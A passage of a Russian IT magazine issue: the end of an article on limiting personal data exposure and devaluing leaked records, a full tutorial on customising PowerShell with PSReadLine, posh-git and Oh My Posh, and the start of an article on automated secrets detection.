адрес, а специально созданный для спама. Это правильный подход, но пом‐
ни, что если им злоупотреблять и  постоянно использовать один и  тот же
адрес, то именно он в итоге превратится в твой уникальный идентификатор.

Личные кабинеты некоторых интернет‑магазинов, сервисов доставки
и подобных служб часто предлагают указать данные, которые совсем не отно‐
сятся к их профилю деятельности. Например, мессенджер просит ввести дату
рождения, банковские приложения требуют дать им доступ к  геолокации
и адресной книге, какие‑то сервисы могут предложить указать даже страницы
в  социальных сетях. Ну, положим, приложение банка использует адресную
книгу для облегчения денежных переводов твоим друзьям и родственникам,
а  геолокацию  — чтобы показать на  карте ближайший банкомат. Если ты
можешь обойтись без  этих функций, лучше их на  всякий случай отключить.
В  общем, старайся не  предоставлять сервисам избыточные данные о  себе.
Чем меньше информации окажется в руках мошенников в случае утечки, тем
лучше!

Если ты не  пользуешься какими‑то сайтами  — удаляй личные кабинеты
на них. Часто бывает, что при совершении даже одной покупки автоматически
создается учетка на  сайте, где указан адрес доставки, имя получателя,
телефон и  электронная почта. В  итоге этот личный кабинет превращается
еще  в одну точку потенциальной утечки информации о  тебе. Такие личные
кабинеты нужно удалять, если ты больше не  планируешь что‑то покупать
в  этом интернет‑магазине или  пользоваться услугами сайта. В  самом край‐
нем случае зарегистрируешься там еще раз.

Перед удалением замени свои данные несуществующими, выжди некото‐
рое время, чтобы база данных синхронизировалась, и  только потом удаляй
учетку. Если функции удаления нет, то просто поменяй все свои личные дан‐
ные на вымышленные. Кроме всего прочего, можно написать в администра‐
цию или  службу технической поддержки с  просьбой удалить твой личный
кабинет.

INFO

Да, невозможно точно узнать, удалил ли
интернет‑магазин данные о  тебе или  просто
пометил их как  неактивные, продолжая хранить
их у себя. Но в любом случае лучше постараться
хоть как‑то обезопасить себя от возможных сли‐
вов информации, чем не делать вообще ничего.

ОБМАНЫВАЕМ ОБМАНЩИКОВ

Теперь поговорим о  том, что делать, если ты не  успел как  следует под‐
готовиться, твои данные уже утекли и находятся в руках мошенников. Удалять
личные кабинеты уже поздно (хотя все равно сделать это  необходимо).
В подобной печальной ситуации нужен иной подход — требуется превратить
твои актуальные данные в неактуальные!

Дело в  том, что подобные взломы и  утечки информации происходят
довольно часто. Кому нужна база данных какого‑то магазина кошачьего кор‐
ма или службы доставки за 2005 год? Ее никто не купит, потому что половина
хранящейся в ней информации уже давно потеряла свою актуальность.

А вот свежие утечки всегда в цене! После очередной кражи базы клиентов
некоторые умельцы из даркнета могут объединять данные нескольких утечек
из  разных сервисов в  одну большую мегабазу. Именно такие базы исполь‐
зуют всевозможные ОСИНТ‑боты в телеграме. Эти базы обновляются, когда
происходят новые утечки данных.

Вот этот самый факт мы и можем использовать в своих интересах. Приняв
кое‑какие меры даже после того, как  твои данные утекли в  паблик, можно
как  минимум заспамить подобные базы, а  именно  — поменять актуальные
данные в утечках на несуществующие.

Можно, конечно, написать мошенникам проникновенное письмо:
«Дорогие жулики, замените, пожалуйста в вашей слитой базе мои персональ‐
ные данные липовыми», но такой путь тернист и неэффективен. Вместо этого
просто меняем информацию в  личных кабинетах сервисов, которые допус‐
тили утечку: скорее всего, через какое‑то время хакеры захотят опять угнать
базу, чтобы обновить ее и продать по более выгодной цене. И в новой утечке
твои данные либо будут уже неактуальны (если хакеры решили не объединять
старую и  новую базы), либо смешаются с  предыдущими данными, и  тогда
будет сложно понять, какая информация настоящая, а какая — фейк.

Представь такую ситуацию: есть номер телефона, по  которому в  одном
магазине делал заказ Username1, в  другом  — Username2, в  третьем  —
Username3. Утечка из  такси показывает, что по  этому номеру телефона
вызывает машины Username4, а служба доставки знает, что у нее совершает
заказы Username5. Вдобавок у них у всех разная, например, электронная поч‐
та. В таком случае мошенники не смогут достоверно определить, что вообще
происходит: может, номер телефона уже не актуален и оператор перепродал
его другому абоненту? Да  и вообще, как, например, применять социальную
инженерию к человеку, имя которого ты даже толком не знаешь? При помощи
такого заспамливания можно попортить нервы тем, кто звонит тебе, называя
твое имя и пытаясь ввести в заблуждение или навязать кредит.

ВЫВОДЫ

Соглашусь, использовать для регистрации целую кучу специально созданных
аккаунтов довольно утомительно. Но кто знает, что лучше: отбиваться от мил‐
лионных долгов в сотне микрофинансовых организаций или потратить время
на зачистку своих персональных данных? Каждый решает для себя сам. Если
следовать этим несложным правилам, ты слегка испортишь жизнь мошен‐
никам и  сможешь обезопасить себя, когда твои персональные данные ока‐
жутся в чужих руках. Но не забывай, что делать это нужно, не нарушая законы
и права других людей!

mailto:xtahi0nix@gmail.com
https://xakep.ru/2024/08/15/bank-shutdown/
https://www.consultant.ru/document/cons_doc_LAW_5142/df6b898b8d62608dbdb357f3108f49a90b9e3a69/
https://www.consultant.ru/document/cons_doc_LAW_61801/
https://www.consultant.ru/document/cons_doc_LAW_5142/14c6c3902cffa17ab26d330b2fd4fae28e5cd059/
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АДМИН

Работа в  командной строке должна при‐
носить удовольствие, а не мучение от ввода
длинных команд со  множеством парамет‐
ров, в  которых легко ошибиться. В  этой
статье мы разберемся, как  настроить обо‐
лочку PowerShell, чтобы сделать ее мак‐
симально комфортной.

Представь себе, насколько приятно пользоваться терминалом и  оболочкой,
которые отображают полезную информацию (например, состояние репози‐
тория Git), подсказывают нужные команды и проверяют их корректность, поз‐
воляют выполнять постоянно повторяемые действия несколькими нажатиями
клавиш.

В сети можно найти много информации о  приемах работы в  командных
оболочках операционных систем macOS и  Linux и  об инструментах для  их
настройки. Например, для  популярной современной оболочки Zsh раз‐
работан специальный фреймворк Oh My Zsh, который упрощает управление
конфигурациями, темами и  плагинами для  расширения функциональности
консоли.

О стандартной для  Windows оболочке PowerShell (которая, кстати,
кросс‑платформенная, ей можно пользоваться во  всех операционных сис‐
темах) говорят и  пишут реже. Чтобы устранить этот пробел, я посвятил ее
особенностям, использованию и  возможностям целую книгу «

», второе издание которой вышло буквально месяц назад. Многие
просто не знают о стандартной функциональности PowerShell и считают, что
этот командный интерпретатор значительно уступает тому же Zsh по удобству
работы и возможностям кастомизации. В этой статье я постараюсь показать,
что это не так, и расскажу, какие встроенные возможности и дополнительные
модули (в том числе Oh My Posh) помогут тебе сделать свою работу в консоли
PowerShell более производительной, удобной и приятной.

Современный
PowerShell

ПРОВЕРКА КОМАНД

Оболочка PowerShell анализирует команду по мере ее набора, не дожидаясь
завершения ввода. При  этом названия команд, параметров и  переменных,
а  также ключевые конструкции и  другие элементы языка отображаются раз‐
ным цветом. Это  помогает лучше понять структуру команд и  снижает веро‐
ятность ошибки при наборе.

Выделение цветом частей команды PowerShell

Если при  наборе команды получается синтаксически неверная конструкция
(например, мы забыли поставить закрывающую скобку или  не написали
команду после знака конвейера), то последний знак  в приглашении коман‐
дной строки окрасится в красный цвет.

>

Признак некорректной команды

АВТОМАТИЧЕСКОЕ ЗАВЕРШЕНИЕ КОМАНД

Работая в  терминале, совсем не  обязательно полностью набирать длинные
команды с  несколькими параметрами. PowerShell поддерживает автомати‐
ческое завершение разных частей своих команд:

пути к файлам и каталогам в файловой системе. В записи путей файловой
системы можно использовать шаблонные символы:  (заменяет один про‐
извольный символ) и   (заменяет любое количество произвольных сим‐
волов);

•
?

*

имена самих команд PowerShell и их параметров;•
имена переменных, определенных в оболочке;•
имена свойств и методов объектов.•

Возможностью автоматического завершения команд можно пользоваться
в двух режимах — подстановка единичного значения или выбор из всех воз‐
можных вариантов.

Нажимая клавишу Tab, мы будем циклически перебирать все возможные
варианты по одному. Например, введем в командной строке PowerShell пер‐
вую часть имени командлета, глагол :get

PS C:\Users\andrv> get-


Нажмем клавишу Tab, в командной строке первый подходящий командлет:

PS C:\Users\andrv> Get-Acl


Еще раз нажав Tab, получим следующий по алфавиту командлет:

PS C:\Users\andrv> Get-Alias


Нажимая далее клавишу Tab, мы можем перебрать все командлеты, начина‐
ющиеся с глагола .Get

Посмотрим, как  PowerShell может помочь при  наборе свойств и  методов
объектов. Введем следующие команды:

PS C:\Users\andrv> $s='qwerty'

PS C:\Users\andrv> $s.len


Нажмем клавишу Tab:

PS C:\Users\andrv> $s.Length


Оболочка автоматически подставила свойство , имеющееся у  сим‐
вольных переменных. Если подставляется имя метода (функции), а  не свой‐
ства, то после его имени автоматически ставится круглая скобка. Например,
введем следующую команду:

Length

PS C:\Users\andrv> $s.sub


Нажмем клавишу Tab:

PS C:\Users\andrv> $s.Substring(


Теперь можно вводить параметры метода .Substring
Для завершения ввода команды удобнее не  перебирать варианты

по одному, а посмотреть на их полный список и выбрать в нем нужный пункт.
Такое меню с  вариантами автодополнения открывается по  нажатию ком‐
бинации клавиш Ctrl-пробел. По предложенным вариантам можно переходить
с  помощью клавиш со  стрелками либо нажимая начальные буквы команд.
Для вставки в командную строку выбранного варианта нужно нажать Enter.

Например, если после имени команды через пробел набрать знак тире
и  нажать Ctrl-пробел, то ты увидишь список всех параметров, поддержи‐
ваемых этой командой. Для  текущего выбранного свойства на  экране отоб‐
ражается его тип.

Список всех параметров команды Get-Process

Чтобы быстро посмотреть все имеющиеся у объекта свойства и методы, нуж‐
но ввести его имя, точку и  нажать Ctrl-пробел. Для  свойств будет указан их
тип, а для методов — список аргументов и тип возвращаемого значения.

Список всех свойств и методов объекта типа System.String

ПОВТОР КОМАНД ИЗ ИСТОРИИ

Для циклического просмотра истории выполнявшихся команд используются
клавиши управления курсором ↑ (предыдущая команда) и  ↓ (следующая
команда). Выбранную команду из истории можно сразу выполнить или изме‐
нить нужным образом.

Если ты помнишь только часть команды (необязательно с  начала), то
по ней можно найти подходящие варианты среди тех команд, которые выпол‐
нялись в оболочке раньше. Строка для поиска в таком режиме активируется
нажатием комбинации клавиш Ctrl-r (поиск по истории команд назад) или Ctrl-
s (поиск по истории команд вперед). При этом поиск будет инкрементальным,
то есть результат уточняется после ввода каждой новой буквы.

Инкрементальный поиск выполнявшихся ранее команд, содержащих
строку ali

Также, кроме автоматического завершения частей команд, PowerShell под‐
держивает технологию автодополнения IntelliSense, когда оболочка сразу
выдает подходящий завершенный вариант из  списка вводившихся ранее
команд. Принять предложенный вариант можно одним нажатием клавиши
«вправо».

По умолчанию режим IntelliSense в PowerShell отключен, активировать его
в текущей сессии можно следующей командой:

  Set-PSReadLineOption -PredictionSource 'History'

Выбор подходящей команды в режиме IntelliSense

ВВОД КОМАНДЫ В НЕСКОЛЬКО СТРОК

По умолчанию нажатие клавиши Enter при  наборе команды завершает ее
ввод, после чего оболочка определяет, чем является введенная строка:

синтаксически верной завершенной командой или  выражением
PowerShell. В этом случае команда выполняется (выражение вычисляется)
и оболочка переходит к приему следующей команды;

•

корректной незавершенной командой или  выражением PowerShell,
которые могут быть продолжены после пробела. В  таком случае ввод
команды продолжается на  следующей строке (символ перевода строки
при этом рассматривается как обычный разделяющий пробел).

•

Например, вычислим значение выражения  10+2-3+(5*4-3), расположив его
на трех строках:







PS C:\Users\andrv> 10+

〉〉 2-3+(

〉〉 5*4-3)

26


Как видим, приглашение при вводе дополнительных строк меняется на сим‐
волы  — это признак того, что продолжается ввод предыдущей команды.〉〉

Таким образом, многословные команды можно располагать на нескольких
строках. При  этом можно свободно перемещаться по  строкам команды,
изменять их, добавлять новые строки выше и  ниже текущей строки. Новая
строка после текущей вставляется по  нажатию комбинации Shift-Enter,
а перед текущей строкой — по нажатию Ctrl-Enter.

Но как быть, если ты набрал синтаксически верную команду с несколькими
параметрами и  ее нужно продолжить на  новой строке, а  не выполнить?
В  этом случае последним символом в  строке нужно ввести обратный апос‐
троф и нажать Enter. После этого ввод команды продолжится со следующей
строки.







PS C:\Users\andrv> Get-Process `

>> -Name powershell


Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName

-------  ------    -----      -----     ------     --  -- -----------

688      45    58568      77196       3,59  14916   3 powershell


НАСТРАИВАЕМ КОМБИНАЦИИ КЛАВИШ ПРИ РАБОТЕ
В КОМАНДНОЙ СТРОКЕ: МОДУЛЬ PSREADLINE

Если некоторые из  описанных выше возможностей на  твоем компьютере
не  работают, то это  может быть связано с  отсутствием в  оболочке подклю‐
ченного модуля PSReadLine. В Windows PowerShell 5.1 для Windows 10/11 и в
кросс‑платформенных версиях PowerShell этот модуль должен быть установ‐
лен по  умолчанию. Увидеть список подключенных модулей и  проверить
наличие в нем PSReadLine можно с помощью команды Get-Module:







PS C:\Users\andrv> Get-Module | Select Name, Version


Name                            Version

----                            -------
Microsoft.PowerShell.Management 3.1.0.0

Microsoft.PowerShell.Security   3.0.0.0

Microsoft.PowerShell.Utility    3.1.0.0

Microsoft.WSMan.Management      3.0.0.0

PSReadline                      2.1.0


Подробную информацию о  модуле PSReadLine можно посмотреть сле‐
дующим образом:







PS C:\Users\andrv> Get-Module PSReadline | Format-List


Name              : PSReadline

Path              : C:\Program Files\WindowsPowerShell\Modules\

                    PSReadline\2.1.0\PSReadLine.psm1

Description       : Great command line editing in the PowerShell

                    console host

ModuleType        : Script

Version           : 2.1.0

NestedModules     : {Microsoft.PowerShell.PSReadLine2}

ExportedFunctions : PSConsoleHostReadLine

ExportedCmdlets   : {Get-PSReadLineKeyHandler, Get-PSReadLineOp

                    tion, Remove-PSReadLineKeyHandler, Set-PSRe

                    adLineKeyHandler...}

ExportedVariables :

ExportedAliases   :


Если модуль PSReadLine не обнаружен, то его нужно установить с помощью
следующей команды:

     Install-Module PSReadLine -Force -Scope CurrentUser
-SkipPublisherCheck

В PSReadLine определены сочетания клавиш для выполнения различных дей‐
ствий, в том числе для редактирования текста в командной строке. Например:

Клавиатурная

комбинация
Действие

Ctrl-влево Перемещение курсора влево на одно слово

Ctrl-вправо Перемещение курсора вправо на одно слово

Home Перемещение курсора в начало текущей строки

End Перемещение курсора в конец текущей строки

Ctrl-Home
Удаление символов от  текущей позиции курсора
до начала строки

Ctrl-End
Удаление символов от  текущей позиции курсора
до конца строки

Esc
Очистка строки (удаление всех введенных сим‐
волов)

Ctrl-z Отмена изменений

Ctrl-y Повтор изменений

Посмотреть все поддерживаемые клавиатурные комбинации и  операции
можно с помощью команды :Get-PSReadlineKeyHandler







PS C:\Users\andrv> Get-PSReadlineKeyHandler


Basic editing functions


=============================


Key              Function           Description

---              --------           -----------
Enter            AcceptLine         Accept the input or move to the

                                     next line if input is missing

                                    a closing token.

Shift+Enter      AddLine            Move the cursor to the next line

                                     without attempting to execute

                                     the input

Backspace        BackwardDeleteChar Delete the character before the

                                     cursor

Ctrl+h           BackwardDeleteChar Delete the character before the

                                     cursor

Ctrl+Home        BackwardDeleteLine Delete text from the cursor to

                                    the start of the line

Ctrl+Backspace   BackwardKillWord   Move the text from the start of

                                     the current or previous word to

                                     the cursor to the kill ring

Ctrl+w           BackwardKillWord   Move the text from the start of

                                     the current or previous word to

                                     the cursor to the kill ring

Ctrl+C           Copy               Copy selected region to the sys

                                    tem clipboard.  If no region is

                                     selected, copy the whole line

...


Каждая операция, поддерживаемая PSReadLine, здесь отнесена к  одной
из категорий:

Basic editing functions — основные функции редактирования;•
Cursor movement functions — функции для перемещения курсора;•
History functions — функции для работы с историей команд;•
Completion functions — функции автодополнения при вводе;•
Miscellaneous functions — различные функции;•
Selection functions — функции для выделения текста;•
Search functions — функции для поиска символов в строке ввода.•

Изменить сочетания клавиш позволяет команда .

Например, назначим клавишам «вверх» и  «вниз» функции
 (поиск назад по  истории команд)

и   (поиск вперед по истории команд) соответственно:

Set-PSReadlineKeyHandler

HistorySearchBackward
HistorySearchForward

PS C:\Users\andrv> Set-PSReadLineKeyHandler -Key UpArrow -Function 
HistorySearchBackward

PS C:\Users\andrv> Set-PSReadLineKeyHandler -Key DownArrow -Function 
HistorySearchForward


Теперь мы сможем подставлять в  командную строку команды из  истории,
набрав в  командной строке их начальные символы и  нажимая клавишу ↑
или клавишу ↓.

Чтобы не набирать при каждом запуске PowerShell команды для настройки
PSReadLine, их нужно поместить в свой PowerShell-профиль (скрипт, который
автоматически выполняется при запуске PowerShell), путь к которому хранит‐
ся в переменной . В этом случае команды из профиля будут запус‐
каться при  каждом входе в  оболочку. Открыть профиль для  редактирования
в блокноте можно так:

$PROFILE

notepad %PROFILE

Отмечу также, что по  умолчанию  сохраняет в  текстовом файле

на  диске все команды, которые выполнялись в  оболочке PowerShell. Пос‐
мотреть на  содержимое этого файла в  блокноте можно следующей коман‐
дой:

PSReadLine

notepad (Get-PSReadLineOption).HistorySavePath


ИНТЕГРАЦИЯ С GIT: МОДУЛЬ POSH-GIT

Система управления версиями Git  — современный стандарт для  хранения
кода и обмена им, ею пользуются практически все разработчики.

Для интеграции Git и PowerShell служит . После установки
этого модуля в  приглашении командной строки будет отображаться
информация о состоянии текущего Git-репозитория, а команды и параметры
Git можно будет автоматически дополнять при  вводе по  нажатию клавиши
Tab.

модуль posh-git

Перед тем как  устанавливать posh-git, убедись, что система Git установ‐
лена и доступна в оболочке PowerShell. Для этого в консоли PowerShell нужно
выполнить команду , которая должна вывести информацию
о версии Git:

git --version

PS C:\Users\andrv> git --version

git version 2.28.0.windows.1


Устанавливается posh-git стандартным образом с  помощью командлета
:Install-Module

PS C:\Users\andrv> Install-Module posh-git -Scope CurrentUser -Force


После установки нужно импортировать из posh-git все команды:

PS C:\Users\andrv> Import-Module posh-git


Команду для  импорта надо поместить в  свой профиль (сценарий, путь
к  которому хранится в  переменной ) для  автоматического выпол‐

нения при каждом запуске оболочки. Для этого можно открыть сценарий про‐
филя в блокноте (команда ) и добавить туда нужную коман‐

ду или просто выполнить команду  из модуля posh-git.

$PROFILE

notepad $PROFILE
Add-PoshGitToProfile

Чтобы увидеть изменения в командной строке, надо войти в каталог, явля‐
ющийся Git-репозиторием. Создадим новый каталог , а  в нем  —

новый репозиторий Git:

git-test

PS C:\Users\andrv> mkdir git-test








Каталог: C:\Users\andrv


Mode                 LastWriteTime         Length Name

----                 -------------         ------ ----

d-----        03.10.2021     10:04                git-test


PS C:\Users\andrv> cd git-test

PS C:\Users\andrv\git-test> git init
PS C:\Users\andrv\git-test [master]>


В приглашении командной строки после пути к  текущему каталогу в  квад‐
ратных скобках теперь выводится информация о состоянии Git-репозитория.
Пока мы видим только имя  текущей ветки, так как файлов в рабочем

каталоге нет:

master

    PS C:\Users\andrv\git-test [master]> git status
  On branch master

  No commits yet

   nothing to commit (create/copy files and use "git add" to track)

Продолжение статьи
→

mailto:andpop@mail.ru
https://bhv.ru/product/sovremennyj-powershell-2-e-izdanie/?utm_source_bhv_sale=xakep_ps
https://github.com/dahlbyk/posh-git
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Создадим три новых файла:







PS C:\Users\andrv\git-test [master]> New-Item file1.txt, file2.txt, 
file3.txt -ItemType File


Каталог: C:\Users\andrv\git-test


Mode                 LastWriteTime         Length Name

----                 -------------         ------ ----

-a----        03.10.2021     10:28              0 file1.txt

-a----        03.10.2021     10:28              0 file2.txt

-a----        03.10.2021     10:28              0 file3.txt


PS C:\Users\andrv\git-test [master +3 ~0 -0 !]>


В подсказке о  состоянии репозитория появились новые данные: воскли‐
цательный знак указывает на то, что в рабочем каталоге есть файлы, которые
не  добавлены в  индекс Git, а  число после знака  показывает количество

таких файлов.

+

Добавим файл  в индекс Git:file1.txt

PS C:\Users\andrv\git-test [master +3 ~0 -0 !]> git add file1.txt

PS C:\Users\andrv\git-test [master +1 ~0 -0 | +2 ~0 -0 !]>


Теперь в  подсказке указана информация о  файлах в  индексе Git (слева
от разделителя ) и о файлах в рабочем каталоге (справа от разделителя ).
В нашем случае в индексе находится один новый файл (число после знака ),

а в рабочем каталоге остались два новых файла.

| |
+

Изменим файл , добавив в него строку:file1.txt

PS C:\Users\andrv\git-test [master +1 ~0 -0 | +2 ~0 -0 !]> "Hello!" >
> file1.txt

PS C:\Users\andrv\git-test [master +1 ~0 -0 | +2 ~1 -0 !]>


Как видим, в  секции рабочего каталога после знака  теперь указана еди‐

ница — это количество измененных файлов в рабочем каталоге.

~

Добавим в индекс Git файл :file2.txt

PS C:\Users\andrv\git-test [master +1 ~0 -0 | +2 ~1 -0 !]> git add 
file2.txt

PS C:\Users\andrv\git-test [master +2 ~0 -0 | +1 ~1 -0 !]>


Теперь в индексе два новых файла ( ), в рабочем каталоге один новый файл
( ) и один измененный файл ( ).

+2
+1 ~1

Удалим файл  из рабочего каталога:file2.txt

PS C:\Users\andrv\git-test [master +2 ~0 -0 | +1 ~1 -0 !]> Remove-
Item file2.txt

PS C:\Users\andrv\git-test [master +2 ~0 -0 | +1 ~1 -1 !]>


Информация о  файлах в  индексе не  изменилась ( ), а  в рабочем
каталоге теперь один новый файл ( ), один измененный файл ( ) и  один

удаленный файл ( ).

+2 ~0 -0
+1 ~1

-1
Создадим коммит (зафиксируем изменения в  репозитории), в  который

войдут файлы  и   из индекса:file1.txt file2.txt







PS C:\Users\andrv\git-test [master +2 ~0 -0 | +1 ~1 -1 !]> git commit -
m "First commit"

[master (root-commit) b22296c] First commit

 2 files changed, 0 insertions(+), 0 deletions(-)

 create mode 100644 file1.txt

 create mode 100644 file2.txt

PS C:\Users\andrv\git-test [master +1 ~1 -1 !]>


После коммита индекс Git очистился и в подсказке о состоянии репозитория
осталась только информация о файлах в рабочем каталоге.

Добавим в индекс все файлы из рабочего каталога:

PS C:\Users\andrv\git-test [master +1 ~1 -1 !]> git add .

PS C:\Users\andrv\git-test [master +1 ~1 -1 ~]>


Индикатор состояния репозитория изменился со  знака  на  знак , озна‐

чающий, что в репозитории есть незакоммиченные изменения:

! ~







PS C:\Users\andrv\git-test [master +1 ~1 -1 ~]> git status

On branch master

Changes to be committed:

  (use "git restore --staged <file>..." to unstage)

        modified:   file1.txt

        deleted:    file2.txt

        new file:   file3.txt


PS C:\Users\andrv\git-test [master +1 ~1 -1 ~]>


Таким образом, подсказка в  приглашении командной строки помогает быс‐
тро понять, в  каком состоянии находится Git-репозиторий. Для  более наг‐
лядного представления этой информации можно изменить тему оформления
консоли с помощью модуля Oh My Posh.

ОФОРМЛЯЕМ ПРИГЛАШЕНИЕ КОМАНДНОЙ СТРОКИ: МОДУЛЬ OH
MY POSH

Декорировать консоль PowerShell можно с  помощью настраиваемых тем
оформления, которые предлагает модуль Oh My Posh. С третьей версии этот
модуль стал кросс‑платформенным, и  его можно применять как  в Windows,
так и в macOS и Linux.

В темах Oh My Posh используются различные значки, которые отобража‐
ются с помощью шрифтов Powerline с глифами. Поэтому такие шрифты нужно
предварительно установить в операционную систему и подключить их в тер‐
минале.

Установка шрифтов Powerline
В темах Oh My Posh рекомендуется использовать шрифты NerdFonts, которые
можно скачать, например, с сайта GitHub:

PS C:\Users\andrv> Invoke-WebRequest -Uri 'https://github.com/
ryanoasis/nerd-fonts/releases/download/v2.1.0/CascadiaCode.zip' -
OutFile .\nf_fonts.zip


С помощью команды  распакуем загруженный архив

в каталог NerdFonts:

Expand-Archive

PS C:\Users\andrv> Expand-Archive .\nf_fonts.zip -DestinationPath .\
NerdFonts


Для установки шрифтов в  систему откроем в  проводнике Windows папку
 с  загруженными шрифтами, выделим в  ней все TTF-файлы, щел‐

кнем на  выделении правой кнопкой мыши и  в контекстном меню выберем
пункт «Установить для всех пользователей». После этого загруженный архив
и каталог с его содержимым можно удалить:

NerdFonts

PS C:\Users\andrv> Remove-Item .\nf_fonts.zip

PS C:\Users\andrv> Remove-Item .\NerdFonts -Recurse


После установки загруженных шрифтов нужно назначить шрифт
 в  качестве шрифта для  профиля Windows PowerShell

в терминале Windows. Это можно сделать на вкладке Appearance в настрой‐
ках профиля Windows PowerShell.

CaskaydiaCove NF

Настройка шрифта для профиля PowerShell в терминале Windows

Установка модуля Oh My Posh
Модуль Oh My Posh устанавливается стандартно:

PS C:\Users\andrv> Install-Module oh-my-posh -Scope CurrentUser -
Force


Модуль довольно объемный, установка его может занять продолжительное
время.

После установки с помощью команды  можно посмотреть

все стандартные встроенные темы оформления, которые поддерживает Oh
My Posh.

Get-PoshThemes

Темы оформления модуля Oh My Posh

Установить понравившуюся тему можно с  помощью команды 

, указав название темы в  качестве значения параметра .
Например, выберем тему  и  перейдем в  каталог , явля‐

ющийся репозиторием Git.

Set-
PoshPrompt -Theme

agnoster git-test

Установка темы оформления agnoster

Теперь в приглашении командной строки отображаются имена пользователя
и компьютера, путь к текущему каталогу от домашнего каталога и имя текущей
ветки в Git-репозитории.

Для автоматического применения выбранной схемы при  загрузке
PowerShell нужно добавить команду 

в профиль PowerShell (напомню, что путь к профилю хранится в переменной
).

Set-PoshPrompt -Theme agnoster

$PROFILE
По умолчанию в  теме  отключен вывод подробной информации

о состоянии Git-репозитория, которую предоставляет модуль . Что‐

бы включить эту информацию, в  конфигурационный JSON-файл с  настрой‐
ками темы нужно внести изменения, описанные в 

.

agnoster
posh-git

документации модуля Oh
My Posh

Путь к каталогу с темами можно посмотреть в конце вывода команды 

.

Get-
PoshThemes

Путь к каталогу с темами Oh My Posh

Выполнив команду  для этого каталога, мы по названию схемы узнаем имя

соответствующего конфигурационного файла (для нашей схемы 
это  файл ). Его нужно открыть в  текстовом редакторе

и добавить в раздел, связанный с Git, параметр :

dir
agnoster

agnoster.omp.json
"properties"

{ "display_status": true }:
{
 "type": "git",
 "style": "powerline",
 "powerline_symbol": "\uE0B0",
 "foreground": "#193549",
 "background": "#95ffa4",
 "properties": {
   "display_status": true
 }

}

После сохранения конфигурационного файла и  перезапуска оболочки мы
в  приглашении командной строки увидим информацию о  статусе файлов
в рабочем каталоге и индексе Git.

Информация о состоянии файлов в Git-репозитории для темы agnoster

ОФОРМЛЯЕМ СПИСКИ ФАЙЛОВ И КАТАЛОГОВ: МОДУЛЬ
TERMINAL-ICONS

Работая в  командной строке, мы часто с  помощью команды 

(псевдонимы  и  ) просматриваем списки файлов и  каталогов. Модуль
Terminal-Icons делает эти списки более наглядными, выделяя различные типы
файлов разным цветом и  добавляя к  названиям файлов соответствующие
значки.

Get-ChildItem
dir ls

Установим и импортируем модуль Terminal-Icons:

PS C:\Users\andrv> Install-Module Terminal-Icons -Scope CurrentUser -
Force

PS C:\Users\andrv> Import-Module Terminal-Icons


Теперь список файлов и каталогов выглядит намного интереснее.

Список файлов и каталогов после подключения модуля Terminal-Icons

Если тебе понравился такой формат отображения файлов и  каталогов, то
команду импортирования модуля Terminal-Icons следует добавить в профиль
PowerShell (напомню, что путь к профилю хранится в переменной ).$PROFILE

ВЫВОДЫ

Мы рассмотрели различные способы настройки PowerShell для  повышения
продуктивности и комфорта работы. Использование модуля PSReadLine поз‐
воляет не только ускорить работу с командами, но и добавить интеллектуаль‐
ные функции автодополнения, что особенно важно при  написании сложных
и  длинных команд. Интеграция с  системами контроля версий через posh-git
обеспечивает наглядное представление текущего состояния Git-репозитори‐
ев прямо в  командной строке, что удобно как  для разработчиков, так и  для
системных администраторов.

Настройка визуальной составляющей с  использованием Oh My Posh
и  Terminal-Icons не  только улучшает внешний вид терминала, но  и помогает
мгновенно ориентироваться в  файловой системе, добавляя цветовые метки
к объектам.

Каждый из  предложенных инструментов можно адаптировать под  свой
стиль работы, делая взаимодействие с  системой и  эффективным, и  эсте‐
тически приятным.

https://ohmyposh.dev/docs/
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АДМИН

Представь, что код — это тайник, но вместо
золота там лежат твои пароли, ключи
от  серверов и  прочая конфиденциальная
инфа. Но однажды ты случайно оставил его
открытым, и  теперь любой желающий
может забрать все, что захочет. Так себе
перспективка, верно? Поиск секретов
как  раз то, что поможет найти и  закрыть
такие дыры. В  сегодняшней статье обсу‐
дим, как этот поиск автоматизировать.

Поиск секретов (Secrets Detection)  — это  процесс обнаружения и  удаления
так называемых чувствительных данных: паролей, ключей API, токенов дос‐
тупа, настроек, которые могут случайно оказаться в  исходном коде, кон‐
фигурационных файлах или  других артефактах разработки. Такие лазейки
дают злоумышленнику легкий доступ к важным системам и сервисам, что при‐
ведет к утечке данных или полной компрометации.

Кстати, многие отрасли требуют соблюдения строгих стандартов безопас‐
ности: GDPR, HIPAA, PCI DSS и  других. Поиск и  защита секретов  — одна
из составляющих соответствия этим стандартам.

КАКИЕ МЕТОДЫ АВТОМАТИЗАЦИИ ВЫБРАТЬ?

Искать секреты вручную — все равно что просеивать песок в поисках крупицы
золота. Поэтому автоматизация — единственное надежное решение. Искать
секреты на  потоке можно, например, с  помощью регулярных выражений
или путем анализа энтропии. У каждого из подходов — свои плюсы и минусы.

Регулярные выражения
Регулярные выражения (regular expressions, regex, регулярки) — это мощный
инструмент для  манипуляций с  текстом, использующий специальный син‐
таксис шаблонов, чтобы искать, менять и вытаскивать данные.

Среди плюсов:
1. Точность и  возможность тонкого контроля. Мы можем задавать любые

специфические паттерны для  обнаружения строк, что минимизирует
количество ложных срабатываний. Это особенно полезно для поиска кон‐
кретных типов секретов, таких как ключи API, пароли и токены доступа.

2. Гибкость. Поскольку регулярные выражения поддерживают сложные шаб‐
лоны, мы можем искать самую разную инфу, включая email-адреса, IP-
адреса, номера кредитных карт и любую другую чувствительную информа‐
цию.

3. Простота внедрения. Многие среды разработки и редакторы кода имеют
встроенную поддержку regex, также есть библиотеки почти для любых язы‐
ков программирования. Это  позволяет легко интегрировать регулярки
в любой проект.

4. Автоматизация. С  использованием систем CI/CD regex можно настроить
для автоматического сканирования кода при каждом коммите, что помога‐
ет быстро обнаруживать и устранять уязвимости. Некоторые инструменты,
например Gitleaks, позволяют использовать pre-commit hook, что повыша‐
ет уровень защиты от утечек.

Так в  чем подвох? Если все так прекрасно, то зачем вообще использовать
что‑то еще? Дело в том, что у этого метода также есть и минусы.
1. Зависимость от  шаблонов. Регулярки эффективны только для  поиска

известных шаблонов и могут пропускать секреты, которые им не соответс‐
твуют. Если формат меняется или используется уникальный, то инструмент
на базе регулярных выражений может ничего не обнаружить.

2. Сложность создания регулярных выражений и управления ими. Написание
эффективных и  безопасных регулярок может быть непростой задачей,
особенно для нестандартных шаблонов.

3. Ложные срабатывания. Если шаблон слишком общий, он обнаруживает
строки, которые не являются секретами. Поэтому фильтровать и анализи‐
ровать придется дополнительно и уже ручками.

